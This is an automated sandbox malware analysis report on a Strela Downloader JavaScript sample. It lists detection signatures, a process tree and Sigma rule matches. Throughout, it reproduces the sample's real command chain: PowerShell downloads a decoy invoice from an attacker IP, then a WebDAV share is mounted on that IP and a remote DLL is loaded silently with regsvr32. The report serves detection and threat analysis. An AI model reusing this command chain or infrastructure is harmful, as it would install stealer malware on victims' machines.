Edit tour

Windows Analysis Report
1697943393056527466.js

Overview

General Information

Sample name:	1697943393056527466.js
Analysis ID:	1587706
MD5:	2b498e0e52275f12fb61e6f9b52fb1c0
SHA1:	b8a53d45dc639aab0bcc887984410cf154e3068d
SHA256:	6f586b8073c4c10af10e2bbe0932279cff3f69b90769ad00dfe23302a5384851
Tags:	jsStrelaStealeruser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7036 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7144 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 6312 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 3548 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 5444 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5800 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 7268 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1624,i,9425132416729305521,13826478321277664541,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 1852 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6408 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 3868 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7036	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7144, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3548, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7144, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3548, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", ProcessId: 7036, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 7144, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 7144, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 7144, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 7144, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 7144, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 2580, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", ProcessId: 7036, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7144, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 3548, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1852, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6408, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3868, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 1852, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6408, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1697943393056527466.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7036, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll, ProcessId: 7144, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1697943393056527466.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1697943393056527466.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1758004700.00000283908B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000006.00000002.1840199655.00000200A6903000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1840199655.00000200A691D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000006.00000002.1840199655.00000200A68D1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/Num
Source: net.exe, 00000006.00000002.1840199655.00000200A6903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/YPg0
Source: net.exe, 00000006.00000002.1840199655.00000200A6903000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/mPs0
Source: svchost.exe, 00000008.00000002.3043395616.00000234C50C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.mi
Source: svchost.exe, 00000008.00000002.3043241403.00000234C5000000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: svchost.exe, 00000008.00000003.1846664304.00000234C5218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acosgr5ufcefr7w7nv4v6k4ebdda_117.0.5938.132/117.0.5
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: svchost.exe, 00000008.00000003.1846664304.00000234C5218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: svchost.exe, 00000008.00000003.1846664304.00000234C5218000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: svchost.exe, 00000008.00000003.1846664304.00000234C524D000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.8.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.7.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: edb.log.8.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96
Source: qmgr.db.8.dr, edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Installers/23.194.0917.0001/amd64/OneDriveSetup.exe
Source: edb.log.8.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe.C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7036, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8261867622288.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 1697943393056527466.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/59@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

